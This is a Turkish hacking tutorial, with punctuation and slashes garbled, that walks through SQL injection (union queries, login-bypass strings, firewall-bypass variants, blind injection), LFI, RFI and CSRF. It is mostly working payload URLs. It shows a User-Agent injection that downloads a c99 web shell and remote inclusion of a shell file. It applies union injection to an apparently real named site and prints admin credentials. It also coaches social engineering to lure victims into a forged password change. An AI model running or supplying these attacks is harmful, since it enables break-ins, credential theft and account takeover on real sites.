wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz
wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim
wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok
wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil
wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor
Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi
wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )
Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr
Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox
Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde
Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz
wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox
Şeklinde Kadı ve Şifreyi ccedilektik
e-) SQL İnjection Login Bypass
SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım
Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl
SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere
adminrsquomdash
rsquo or 0=0 --
rsquo or rsquo 1=1
rsquo or rsquo 1
rsquo or rsquo
or 0=0 --
or 0=0 --
rsquo or 0=0
or 0=0
or 0=0
rsquo or rsquoxrsquo=rsquox
or x=x
rsquo) or (rsquoxrsquo=rsquox
rsquo or 1=1--
or 1=1--
or 1=1--
rsquo or a=a--
or a=a
rsquo) or (rsquoarsquo=rsquoa
) or (a=a
hi or a=a
hi or 1=1 --
hirsquo or 1=1 --
hirsquo or rsquoarsquo=rsquoa
hirsquo) or (rsquoarsquo=rsquoa
hi)or(a=a
Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz
lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım
Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz
Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu
f-) PostData SQL İnjection
Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl
Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan
ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz
Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza
Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz
ltform name=t1 method=POST action=loginaspxgt
Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır
Peki bu accedilığı nasıl kullanacağız
Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani
ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt
Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz
SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )
Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi
SQL İnjection Bypass
Merhaba arkadaşlar
Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur
SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir
a)
Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim
Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz
Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln
wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir
Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız
wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı
Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim
wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )
order+by+1mdashsonuna + koyduk
id=1 değerinin başına da ) koyduk
Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1orderby1--
wwwsayfamcomsayfaphpid=1+(order)+(by)+1--
wwwsayfamcomsayfaphpid=1+order+by+1--
wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır
b)
Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim
Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim
wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık
wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız
wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip
Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız
wwwsayfamcomsayfaphpid=1+union+select+123456789--
yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım
Bir bypass da kullanabileceğimiz bazı karakter oluşumları
---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))
İlk olarak
wwwsayfamcomsayfaphpid=1+union+select+123456789--
deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))
wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)
wwwsayfamcomsayfaphpid=-1unionselect123456789--+
wwwsayfamcomsayfaphpid=-1+union+select+123456789--
wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -
wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+
wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--
wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--
wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--
şeklinde onlarca bypass teknikleri bulunmaktadır ))
c)
Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim
Şimdi sırada group_concat komutunun bypass edilmesinde
Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde
wwwsayfacomsayfaphpid=-1+union+select+123456789--
ne demiştiş 469 yansımıştı 4 den devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi
Group_concat bypass tipleride aynı mantıkla yapılır
group_concat()
grOUp_ConCat(user0x3epass)
group_concat(0x3c62723e)
şeklinde uygulamalar yapacağız
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
veya
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--
ve
wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--
şeklinde bypasslar soumlz konusudur
d)
Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))
Taktiklerimiz aynıdır tekrar aynı site ile devam edelim
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
şeklinde yaptık bize tablo isimlerini vermedi
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--
yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum
e)
Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo
Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz
wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--
Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))
Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır
Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek
LFI(Local File İnclude)
1- Local File İnclude Nedir
LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim
2- Local File İnclude Mantığı Nedir
LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor
3- Saldırı Anı (Accedilığın Tespiti)
Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz
wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz
Bize verilen hatadan yola ccedilıkalım
Warning include() ldquohomeuserpublic_htmlsayfaphprdquo
Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz
4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)
Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık
Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım
home -gt 1
user -gt 2
public_html -gt 3
sayfaphp -gt 4
Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır
wwwsitecomsayfaphpid= etcpasswd şeklinde
-HTML Code
HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut
Komut etcpasswd
Encode 2F2F2F2Fetc2Fpasswd
Tekrar deneyelim
wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk
- CharCode
CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım
wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız
Komut etcpasswd
CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)
Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım
wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)
Şeklinde okudukDosyamız başarılı bir şekilde okundu )
5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)
Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza
Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor
wwwsitecomc99php şeklinde ccedilagırabilirsiniz
6- Local File İnclude Nerelerde Tespit Edilebilir
a-) Search kutusu
Bir Search kutusu duumlşuumlnuumln
Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde
Eğer ekrana
Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur
RFI(Remote File İnclude)1- Remote File İnclude Nedir
RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var
2- Remote File İnclude Mantığı Nedir
Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir
3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)
Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz
wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız
Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten
4- Remote File İnclude Nerelerde Tespit Edilebilir
a-Search kutusu
Bir Search (Arama) duumlşuumlnuumln
ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir
CSRFXSRF (Cross-Site RequestForgery)
1-Oumlnsoumlz
XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde
XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın
2- Cross Site Request Forgery Nedir
Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker
3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır
Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere
Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır
4 Nasıl Kullanılır - Exploitlenir
Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim
Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit
wwwsitecomforumpassworddegistirphpyenipassword=mahserat
Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım
Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde
Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir
Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım
Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana
NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek
Merhaba kardeşim
Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş
Uygulama httpmehmetkelepceorgdosyahtml
Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek
5- XSS ve CSRF Arasındaki Benzerlikler
CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır
Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle
15- Kaccedil Tuumlr SQL İnjection Vardır
a-) MySql İnjection
Evet kaccedil tuumlr SQL İnjection saldırısı vardır konu başlığı altında SQL İnjection tuumlrlerinitanıyacağız
SQL İnjection tuumlrlerini bize verdikleri hatalar sayesinde oumlgrenirizYani Normal bir SQL İnjection hatasıile Mysql injection veya access Sql injection arasında dağlar kadar fark mevcut
Daha oumlncesinde SQL İnjection accedilığının tespitini oumlğrenmiştikŞimdi Mysql injection accedilığının hatasınabir goumlz atalım
Goumlrduumlğuumlnuumlz gibi normal bir SQL hatasından ccedilok farklı
Bu accedilığın kullanımına geccedilelim
Aslında normal bir SQL İnj accedilığından farklı bir kullanımı yok MySqlrsquoinAma anlatalım gene deMysqlversiyonuna goumlre bazen değişiklik goumlsterebiliyorMysql version 5 olsaydı kolay kolay VericcedilekemezdikAma artık 4 pek fazla kullanılmadığı iccedilin 5 uumlzerinden devam
Hedef sitemiz httpwwwparoswinesgrenglishproductphpid=22
Kolon sayısını arayalım httpwwwparoswinesgrenglishproductphpid=22+order+by+1-- yaptıksayfa duumlzeldiorder by 10 yaptık sayfada tekrar MySql İnjection hatası belirdiYani 10 dan kuumlccediluumlkolduğunu anlıyoruz Kolonumuzun
Teker teker iniyoruz order+by+9-- yaptıkSayfada hata duruyor8 Yaptık sayfa duumlzeldiDemek kikolon sayısı 8 miş
Şimdi kolonları yansıtalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12345678-- bakıyoruz
Ekrana 3 sayısı yansıdı3 Uumlzerinden devam ediyoruz
Yukarıda SQL Komutlarını goumlrmuumlştuumlkBu yuumlzden burada anlatmama gerek yok
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(table_name)45678+from+information_schematables+where+table_schema=database()--
Sorgusunun ardından ekrana tablersquolar yansıdı
Tables adminkullanicilarhizmetlergoumlrseller hellip admin tablosu işimizi goumlruumlr )
Şimdi admin tablosundaki kolonlara bakalım
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(column_name)45678+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--
Ekrana userpassmail yansıdığını farz edelim
httpwwwparoswinesgrenglishproductphpid=-22+union+select+12group_concat(userpassemail)45678+from+admin--
User admin
Pass 123456
Email adminparoswinescom
b-) Ms Access SQL İnjection
Access SQL İnjection tahmine dayalı bir accedilıktırYani netlik ifade etmezTablo ismini biz kendibeyin guumlcuumlmuumlzle tahmin guumlcuumlmuumlzle bulmaya ccedilalışırızBana goumlre en zahmetli injection tuumlruuml
SQL İnjection accedilıklarını hatalarına goumlre sıralıyordukAccess SQL İnjection accedilığının da kendine oumlzguumlbir hatası vardırBu accedilığı bu hata ile anlarızAccess SQL İnjection ASPNET ile kodlanmış sitelerdegoumlruumlluumlr genellikleCcedilok yaygın bir SQL İnjection tuumlruumlduumlr
Hedef bir sitemiz olsun wwwsitecomsayfaaspid=1 şeklindeŞimdi id=1 değernin yanına lsquo koyalımaccedilık tespiti iccedilin wwwsitecomsayfaaspid=1rsquo
Eğer boumlyle bir hata alıyorsak Ms Access SQL İnjection accedilığını bulduk demektir
Microsoft JET Database Engine error rsquo80040e14rsquo
Syntax error in string in query expression rsquoid = 10rsquo
sayfaasp line 7
Şimdi Kolon sayısını oumlgrenelim tekrar ORDER BY komutunu kullancaz
wwwsitecomsayfaaspid=1+order+by+1 yaptıkSayfa eski haline geldiEkrandaki hata gitti
wwwsitecomsayfaaspid=1+order+by+10 yaptıkSayfa değişti yani farklı bir hata var alınan hata
Microsoft JET Database Engine error rsquo80040e14rsquo
The Microsoft Jet database engine does not recognize rsquo10rsquo as a valid field name orexpression
sayfaasp line 7
Bu hatada kolon sayısının 10 dan az bir sayı olduğunu soumlyliyor bizeŞimdi teker teker inerek devamediyoruz taaki sayfa duumlzelene dek
wwwsitecomsayfaaspid=1+order+by+9 yaptık aynı hata mevcutorder+by+8 yaptık gene aynıhata mevcut7 de tekrar hata aldık 6 yaptık ekrandan hata gittiAnlıyoruz ki kolon sayısı 6rsquoymış
Sıra geldi tahmin kısmınaİşimize yarayacak tabloyu tahmin etmemiz gerekiyorOumlnce admintablosundan başlayalım
wwwsitecomsayfaaspid=1+union+select+123456+from+admin-- yaptıkkarşımıza
Hata gelmedi Yani admin diye bir tablo mevcutmuşEkrana kolonlar yansıdı yansıyan kolonlar 2-4olduğunu farz ediyoruz ve 2 ve 4 sayılarına sutuumln değerini yazıyoruzYani
wwwsitecomsayfaaspid=1+union+select+1username3password56+from+admin--
ŞeklindeEğer ekrana username ve password yansımadıysa sutuumln isimleri username passworddeğildir
wwwsitecomsayfaaspid=1+union+select+1user3pass56+from+admin--
Şeklinde Yazdığımızda Ekrana user ve pass yansıdığını goumlreceğizTabi burada kolonları ve tablolarıtahmin olarak yazdıkTuumlm sitelerde user pass olacak diye bir kaide yoktur
User mahserat
Pass bugres
c-) Blind SQL İnjection
Blind SQL İnjection diğer accedilık tuumlrlerinden farklıdırYani SQL İnjection accedilığında id=2değerinin yanına koyduğumuz lsquo ve lsquoa sayesinde accedilık olup olmadığını anlıyordukFakat Blind SQLİnjectionrsquoda bu durum değişiyorAccedilığı lsquo veya lsquoa kullanarak almıyoruz Şoumlyle bir durum daha var normalSQL İnjection tuumlrlerinde hata alırken Blind Sql injection da hata almıyoruz
Gene bir hedef site duumlşuumlnuumln
wwwsayfacomdosyaphpid=2 olsun
Burada Blind SQL İnj olup olmadığını şu şekilde anlıyoruz
wwwsayfacomdosyaphpid=2 and 1=1-- yapıyoruz ilk baştaSayfada değişiklik olmuyor
and 1=2-- yaptığımızda sayfa değişiyorHata olmuyor ama sayfa değişiyorDiğer Tuumlrlerden ayıran biroumlzellik de budurEvet sayfa değiştiği iccedilin burada Blind SQL İnjection vardır diyebiliriz
Hemen MySQL Versiyonunu oumlğrenelimOumlnce and substring(version11)=4 komutuyla versiyonun4 muuml olduğa bakıyoruz
wwwsayfacomdosyaphpid=2 and substring(version11)=4 şeklinde sorgu goumlnderdikSayfadabozulma olduYani 4 değilBu sefer and substring(version11)=5 komutu ile versiyonun 5 olupolmadığına bakalım
wwwsayfacomdosyaphpid=2 and substring(version11)=5 sorgu goumlnderdiğimizde sayfadasorun yoksa eğer demek ki MySQL Versiyonu 5 miş
